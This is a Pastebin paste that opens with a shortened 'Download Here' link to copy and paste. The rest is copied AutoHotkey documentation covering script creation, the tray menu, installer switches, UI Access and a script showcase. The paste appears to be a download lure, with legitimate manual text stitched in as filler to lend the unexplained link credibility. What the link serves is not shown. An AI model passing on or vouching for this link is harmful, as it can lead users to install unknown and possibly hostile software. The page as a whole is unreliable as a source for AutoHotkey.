Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -
- Download Here --> https://tinyurl.com/5eabk3ee (Copy and Paste Link)
- Using the Program
- AutoHotkey doesn't do anything on its own; it needs a script to tell it what to do. A script is simply a plain text file with the .ahk filename extension containing instructions for the program, like a configuration file, but much more powerful. A script can do as little as performing a single action and then exiting, but most scripts define a number of hotkeys, with each hotkey followed by one or more actions to take when the hotkey is pressed.
- #z::Run https://www.autohotkey.com ; Win+Z ^!n:: ; Ctrl+Alt+N if WinExist("Untitled - Notepad") WinActivate else Run Notepad return
- Tip: If your browser supports it, you can download any code block (such as the one above) as a script file by clicking the button which appears in the top-right of the code block when you hover your mouse over it.
- Table of Contents
- Create a Script
- There are a couple of common ways to create a script file:
- In Notepad (or a text editor of your choice), save a file with the .ahk filename extension. On some systems you may need to enclose the name in quotes to ensure the editor does not add another extension (such as .txt). Be sure to save the file as UTF-8 with BOM if it will contain non-ASCII characters. For details, see the FAQ.
- In Explorer, right-click in empty space in the folder where you want to save the script, then select New and AutoHotkey Script. You can then type a name for the script (taking care not to erase the .ahk extension if it is visible).
- See Scripting Language for details about how to write a script.
- Edit a Script
- To open a script for editing, right-click on the script file and select Edit Script. If the script is already running, you can use the Edit command or right-click the script's tray icon and select Edit This Script. By default this will open Notepad, but that can be changed by writing to the registry as shown here. Of course, you can always open your text editor first and then open the script as you would any other text file.
- After editing a script, you must run or reload the script for the changes to take effect. A running script can usually be reloaded via its tray menu.
- Run a Script
- With AutoHotkey installed, there are several ways to run a script:
- Double-click a script file (or shortcut to a script file) in Explorer.
- Call AutoHotkey.exe on the command line and pass the script's filename as a command-line parameter.
- After creating the default script, launch AutoHotkey via the shortcut in the Start menu to run it.
- If AutoHotkey is pinned to the taskbar or Start menu on Windows 7 or later, recent or pinned scripts can be launched via the program's Jump List.
- Most scripts have an effect only while they are running. Use the tray menu or the ExitApp command to exit a script. Scripts are also forced to exit when Windows shuts down. To configure a script to start automatically after the user logs in, the easiest way is to place a shortcut to the script file in the Startup folder.
- Scripts can also be compiled; that is, combined together with an AutoHotkey binary file to form a self-contained executable (.exe) file.
- Tray Icon
- By default, each script adds its own icon to the taskbar notification area (commonly known as the tray).
- The tray icon usually looks like this (but the color or letter changes when the script is paused or suspended):
- Right-click the tray icon to show the tray menu, which has the following options by default:
- Open - Open the script's main window.
- Help - Open the AutoHotkey offline help file.
- Window Spy - Displays various information about a window.
- Reload This Script - See Reload.
- Edit This Script - See Edit.
- Suspend Hotkeys - Suspend or unsuspend hotkeys.
- Pause Script - Pause or unpause the script.
- Exit - Exit the script.
- By default, double-clicking the tray icon shows the script's main window.
- The Menu command can be used to customise the tray icon and menu.
- The #NoTrayIcon directive can be used to hide the tray icon.
- Main Window
- The script's main window is usually hidden, but can be shown via the tray icon or one of the commands listed below to gain access to information useful for debugging the script. Items under the View menu control what the main window displays:
- Lines most recently executed - See ListLines.
- Variables and their contents - See ListVars.
- Hotkeys and their methods - See ListHotkeys.
- Key history and script info - See KeyHistory.
- Known issue: Keyboard shortcuts for menu items do not work while the script is displaying a message box or other dialog.
- The built-in variable A_ScriptHwnd contains the unique ID (HWND) of the script's main window.
- Closing this window with WinClose (even from another script) causes the script to exit, but most other methods just hide the window and leave the script running.
- Minimizing the main window causes it to automatically be hidden. This is done to prevent any owned windows (such as GUI windows or certain dialog windows) from automatically being minimized, but also has the effect of hiding the main window's taskbar button. To instead allow the main window to be minimized normally, override the default handling with OnMessage. For example:
- ; This prevents the main window from hiding on minimize: OnMessage(0x0112, Func("PreventAutoMinimize")) ; WM_SYSCOMMAND = 0x0112 OnMessage(0x0005, Func("PreventAutoMinimize")) ; WM_SIZE = 0x0005 ; This prevents owned GUI windows (but not dialogs) from automatically minimizing: OnMessage(0x0018, Func("PreventAutoMinimize")) PreventAutoMinimize(wParam, lParam, uMsg, hwnd) ; SC_MINIMIZE = 0xF020 WinMinimize return 0 ; Prevent main window from hiding. > if (uMsg = 0x0005 && wParam = 1 && hwnd = A_ScriptHwnd) ; SIZE_MINIMIZED = 1 return 0 ; Prevent main window from hiding. if (uMsg = 0x0018 && lParam = 1) ; SW_PARENTCLOSING = 1 return 0 ; Prevent owned window from minimizing. >
- Main Window Title
- The title of the script's main window is used by the #SingleInstance and Reload mechanisms to identify other instances of the same script. Changing the title prevents the script from being identified as such. The default title depends on how the script was loaded:
- Loaded FromTitle ExpressionExample .ahk file A_ScriptFullPath " - AutoHotkey v" A_AhkVersion E:\My Script.ahk - AutoHotkey v1.1.33.09 Main resource (compiled script) A_ScriptFullPath E:\My Script.exe Any other resource A_ScriptFullPath " - " A_LineFile E:\My AutoHotkey.exe - *BUILTIN-TOOL.AHK
- The following code illustrates how the default title could be determined by the script itself (but the actual title can be retrieved with WinGetTitle):
- title := A_ScriptFullPath if !A_IsCompiled title .= " - AutoHotkey v" A_AhkVersion ; For the correct result, this must be evaluated by the resource being executed, ; not an #include (unless the #include was merged into the script by Ahk2Exe): else if SubStr(A_LineFile, 1, 1) = "*" && A_LineFile != "*#1" title .= " - " A_LineFile
- Embedded Scripts [v1.1.34+]
- Scripts may be embedded into a standard AutoHotkey .exe file by adding them as Win32 (RCDATA) resources using the Ahk2Exe compiler. To add additional scripts, see the AddResource compiler directive.
- An embedded script can be specified on the command line or with #Include by writing an asterisk (*) followed by the resource name. For an integer ID, the resource name must be a hash sign (#) followed by a decimal number.
- The program may automatically load script code from the following resources, if present in the file:
- IDSpecUsage 1*#1 This is the means by which a compiled script is created from an .exe file. This script is executed automatically and most command line switches are passed to the script instead of being interpreted by the program. External scripts and alternative embedded scripts can be executed by using the /script switch. 2*#2 If present, this script is automatically "included" before any script that the program loads, and before any file specified with /include.
- When the source of the main script is an embedded resource, the program acts in "compiled script" mode, with the exception that A_AhkPath always contains the path of the current executable file (the same as A_ScriptFullPath). For resources other than *#1, the resource specifier is included in the main window's title to support #SingleInstance and Reload.
- When referenced from code that came from an embedded resource, A_LineFile contains an asterisk (*) followed by the resource name.
- Command Line Usage
- See Passing Command Line Parameters to a Script for command line usage, including a list of command line switches which affect the program's behavior.
- Portability of AutoHotkey.exe
- The file AutoHotkey.exe is all that is needed to launch any .ahk script.
- [AHK_L 51+]: Renaming AutoHotkey.exe also changes which script it runs by default, which can be an alternative to compiling a script for use on a computer without AutoHotkey installed. For instance, MyScript.exe automatically runs MyScript.ahk if a filename is not supplied, but is also capable of running other scripts.
- Installer Options
- To silently install AutoHotkey into the default directory (which is the same directory displayed by non-silent mode), pass the parameter /S to the installer. For example:
- AutoHotkey_1.1.34.03_setup.exe /S
- A directory other than the default may be specified via the /D parameter (in the absence of /S, this changes the default directory displayed by the installer). For example:
- AutoHotkey_1.1.34.03_setup.exe /S /D=C:\Program Files\AutoHotkey
- Version: If AutoHotkey was previously installed, the installer automatically detects which version of AutoHotkey.exe to set as the default. Otherwise, the default is Unicode 32-bit or Unicode 64-bit depending on whether the OS is 64-bit. To override which version of AutoHotkey.exe is set as the default, pass one of the following switches:
- /A32 or /ANSI : ANSI 32-bit.
- /U64 or /x64 : Unicode 64-bit (only valid on 64-bit systems).
- /U32 : Unicode 32-bit.
- For example, the following installs silently and sets ANSI 32-bit as the default:
- AutoHotkey_1.1.34.03_setup.exe /S /A32
- Uninstall: To silently uninstall AutoHotkey, pass the /Uninstall parameter to Installer.ahk. For example:
- "C:\Program Files\AutoHotkey\AutoHotkey.exe" "C:\Program Files\AutoHotkey\Installer.ahk" /Uninstall
- For AutoHotkey versions older than 1.1.08.00, use uninst.exe /S . For example:
- "C:\Program Files\AutoHotkey\uninst.exe" /S
- Note: Installer.ahk must be run as admin to work correctly.
- Extract [v1.1.09.04+] : A link is present in the bottom-right corner of the installer GUI to extract files without installing, and the /E switch can be used to invoke it from the command line. For example:
- AutoHotkey_1.1.34.03_setup.exe /D=F:\AutoHotkey /E
- Restart scripts [v1.1.19.02+] : In silent install/uninstall mode, running scripts are closed automatically, where necessary. Pass the /R switch to automatically reload these scripts using whichever EXE they were running on, without command line args. Setup will attempt to launch the scripts via Explorer, so they do not run as administrator if UAC is enabled.
- Taskbar buttons [v1.1.08+] : On Windows 7 and later, taskbar buttons for multiple scripts are automatically grouped together or combined into one button by default. The Separate taskbar buttons option disables this by registering each AutoHotkey executable as a host app (IsHostApp).
- [v1.1.24.02+]: For command-line installations, specify /IsHostApp or /IsHostApp=1 to enable the option and /IsHostApp=0 to disable it.
- Run with UI Access [v1.1.24.02+]
- The installer GUI has an option "Add 'Run with UI Access' to context menus". This context menu option provides a workaround for common UAC-related issues by allowing the script to automate administrative programs - without the script running as admin. To achieve this, the installer does the following:
- Copies AutoHotkeyA32.exe, AutoHotkeyU32.exe and (if present) AutoHotkeyU64.exe to AutoHotkey*_UIA.exe.
- Sets the uiAccess attribute in each UIA file's embedded manifest.
- Creates a self-signed digital certificate named "AutoHotkey" and signs each UIA file.
- Registers the context menu option to run the appropriate exe file.
- If any these UIA files are present before installation, the installer will automatically update them even if the UI Access option is not enabled.
- For command-line installations, specify /uiAccess or /uiAccess=1 to enable the option and /uiAccess=0 to disable it. By default, the installer will enable the option if UAC is enabled and the UI Access context menu option was present before installation.
- Scripts which need to run other scripts with UI access can simply Run the appropriate UIA.exe file with the normal command line parameters.
- Known limitations:
- UIA is only effective if the file is in a trusted location; i.e. a Program Files sub-directory.
- UIA.exe files created on one computer cannot run on other computers without first installing the digital certificate which was used to sign them.
- UIA.exe files cannot be started via CreateProcess due to security restrictions. ShellExecute can be used instead. Run tries both.
- UIA.exe files cannot be modified, as it would invalidate the file's digital signature.
- Because UIA programs run at a different "integrity level" than other programs, they can only access objects registered by other UIA programs. For example, ComObjActive("Word.Application") will fail because Word is not marked for UI Access.
- The script's own windows can't be automated by non-UIA programs/scripts for security reasons.
- Running a non-UIA script which uses a mouse hook (even as simple as #InstallMouseHook ) may prevent all mouse hotkeys from working when the mouse is pointing at a window owned by a UIA script, even hotkeys implemented by the UIA script itself. A workaround is to ensure UIA scripts are loaded last.
- UIA prevents the Gui +Parent option from working on an existing window if the new parent is always-on-top and the child window is not.
- AutoHotkey Script Showcase
- This showcase lists some scripts created by different authors which show what AutoHotkey might be capable of. For more ready-to-run scripts and functions, see Scripts and Functions Forum.
- Table of Contents
- Screen Magnifier
- LiveWindows
- Mouse Gestures
- Context Sensitive Help in Any Editor
- Easy Window Dragging
- Easy Window Dragging (KDE style)
- Easy Access to Favorite Folders
- IntelliSense
- Using a Joystick as a Mouse
- Joystick Test Script
- On-Screen ANSI Keyboard (OSAK)
- Minimize Window to Tray Menu
- Changing MsgBox's Button Names
- Numpad 000 Key
- Using Keyboard Numpad as a Mouse
- Seek (Search the Start Menu)
- ToolTip Mouse Menu
- Volume On-Screen-Display (OSD)
- Window Shading
- WinLIRC Client
- HTML Entities Encoding
- 1 Hour Software
- Toralf's Scripts
- Sean's Scripts
- Archived Scripts and Functions Forum
- Screen Magnifier
- This screen magnifier has the several advantages over the one included with the operating system, including: Customizable refresh interval and zoom level (including shrink/de-magnify); antialiasing to provide nicer output; and it is open-source (as a result, there are several variations to choose from, or you can tweak the script yourself).
- LiveWindows
- LiveWindows allows you to monitor the progress of downloads, file-copying, and other dialogs by displaying a small replica of each dialog and its progress bar (dialogs are automatically detected, even if they're behind other windows). The preview window stays always-on-top but uses very little screen space (it can also be resized by dragging its edges). You can also monitor any window by dragging a selection rectangle around the area of interest (with control-shift-drag), then press Win + W to display that section in the preview window with real-time updates.
- Mouse Gestures
- This script watches how you move the mouse whenever the right mouse button is being held down. If it sees you "draw" a recognized shape or symbol, it will launch a program or perform another custom action of your choice (just like hotkeys). See the included README file for how to define gestures.
- Context Sensitive Help in Any Editor
- This script makes Ctrl + 2 (or another hotkey of your choice) show the help file page for the selected AutoHotkey command or keyword. If nothing is selected, the command name will be extracted from the beginning of the current line.
- Easy Window Dragging
- Requirement: Windows XP/2k/NT or later
- Normally, a window can only be dragged by clicking on its title bar. This script extends that so that any point inside a window can be dragged. To activate this mode, hold down CapsLock or the middle mouse button while clicking, then drag the window to a new position.
- Easy Window Dragging (KDE style)
- Requirement: Windows XP/2k/NT or later
- This script makes it much easier to move or resize a window: 1) Hold down Alt and LEFT-click anywhere inside a window to drag it to a new location; 2) Hold down Alt and RIGHT-click-drag anywhere inside a window to easily resize it; 3) Press Alt twice, but before releasing it the second time, left-click to minimize the window under the mouse cursor, right-click to maximize it, or middle-click to close it.
- Easy Access to Favorite Folders
- When you click the middle mouse button while certain types of windows are active, this script displays a menu of your favorite folders. Upon selecting a favorite, the script will instantly switch to that folder within the active window. The following window types are supported: 1) Standard file-open or file-save dialogs; 2) Explorer windows; 3) Console (command prompt) windows. The menu can also be optionally shown for unsupported window types, in which case the chosen favorite will be opened as a new Explorer window.
- IntelliSense
- Requirement: Windows XP/2k/NT or later
- This script watches while you edit an AutoHotkey script. When it sees you type a command followed by a comma or space, it displays that command's parameter list to guide you. In addition, you can press Ctrl + F1 (or another hotkey of your choice) to display that command's page in the help file. To dismiss the parameter list, press Esc or Enter .
- Using a Joystick as a Mouse
- This script converts a joystick into a three-button mouse. It allows each button to drag just like a mouse button and it uses virtually no CPU time. Also, it will move the cursor faster depending on how far you push the joystick from center. You can personalize various settings at the top of the script.
- Joystick Test Script
- This script helps determine the button numbers and other attributes of your joystick. It might also reveal if your joystick is in need of calibration; that is, whether the range of motion of each of its axes is from 0 to 100 percent as it should be. If calibration is needed, use the operating system's control panel or the software that came with your joystick.
- On-Screen ANSI Keyboard (OSAK)
- Authors: Jon, Lehnemann, anonymous1184, KeronCyst
- Requirement: AutoHotkey v1.1 or later
- This script creates a mock keyboard at the bottom of your screen that shows the keys you are pressing in real time. I made it to help me to learn to touch-type (to get used to not looking at the keyboard). The size of the on-screen keyboard can be customized at the top of the script. Also, you can double-click the tray icon to show or hide the keyboard.
- Minimize Window to Tray Menu
- This script assigns a hotkey of your choice to hide any window so that it becomes an entry at the bottom of the script's tray menu. Hidden windows can then be unhidden individually or all at once by selecting the corresponding item on the menu. If the script exits for any reason, all the windows that it hid will be unhidden automatically.
- Changing MsgBox's Button Names
- This is a working example script that uses a timer to change the names of the buttons in a message box. Although the button names are changed, the IfMsgBox command still requires that the buttons be referred to by their original names.
- Numpad 000 Key
- This example script makes the special 000 that appears on certain keypads into an equals key. You can change the action by replacing the Send, = line with line(s) of your choice.
- Using Keyboard Numpad as a Mouse
- This script makes mousing with your keyboard almost as easy as using a real mouse (maybe even easier for some tasks). It supports up to five mouse buttons and the turning of the mouse wheel. It also features customizable movement speed, acceleration, and "axis inversion".
- Seek (Search the Start Menu)
- Navigating the Start Menu can be a hassle, especially if you have installed many programs over time. 'Seek' lets you specify a case-insensitive key word/phrase that it will use to filter only the matching programs and directories from the Start Menu, so that you can easily open your target program from a handful of matched entries. This eliminates the drudgery of searching and traversing the Start Menu.
- ToolTip Mouse Menu
- Requirement: Windows XP/2k/NT or later
- This script displays a popup menu in response to briefly holding down the middle mouse button. Select a menu item by left-clicking it. Cancel the menu by left-clicking outside of it. A recent improvement is that the contents of the menu can change depending on which type of window is active (Notepad and Word are used as examples here).
- Volume On-Screen-Display (OSD)
- This script assigns hotkeys of your choice to raise and lower the master and/or wave volume. Both volumes are displayed as different color bar graphs.
- Window Shading
- This script reduces a window to its title bar and then back to its original size by pressing a single hotkey. Any number of windows can be reduced in this fashion (the script remembers each). If the script exits for any reason, all "rolled up" windows will be automatically restored to their original heights.
- WinLIRC Client
- This script receives notifications from WinLIRC whenever you press a button on your remote control. It can be used to automate Winamp, Windows Media Player, etc. It's easy to configure. For example, if WinLIRC recognizes a button named "VolUp" on your remote control, create a label named VolUp and beneath it use the command SoundSet +5 to increase the soundcard's volume by 5%.
- HTML Entities Encoding
- Similar to Transform HTML, this function converts a string into its HTML equivalent by translating characters whose ASCII values are above 127 to their HTML names (e.g. £ becomes £ ). In addition, the four characters "& are translated to "&<> . Finally, each linefeed ( `n ) is translated to `n (i.e. followed by a linefeed).
- 1 Hour Software
- This is a large collection of useful scripts, professionally presented with short descriptions and screenshots.
- Toralf's Scripts
- This collection includes useful scripts such as:
- AHK Window Info: Reveals information on windows, controls, etc.
- Electronic Program Guide: Browses the TV programs/schedules of your region (supports several countries).
- Auto-Syntax-Tidy: Changes indentation and case of commands in a script to give it a consistent format/style.
- Sean's Scripts
- Network Download/Upload Meter: Displays the network download/upload KB in a small, always-on-top progress bar. See archived forum thread.
- StdoutToVar: Redirects the output of a command or application into one of the script's variables. See archived forum thread.
- Capture a Screen Rectangle: A callable function that captures a portion of the screen and saves it as a file (BMP/JPG/PNG/GIF/TIF). It can also capture transparent windows and the mouse cursor. See archived forum thread.
- Color Zoomer/Picker: Magnifies the area near the cursor, allowing a single pixel to be selected and its color identified. See archived forum thread.
- Archived Scripts and Functions Forum
- An archive of an older forum containing many more scripts, but some scripts might not run as-is on AutoHotkey v1.1.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement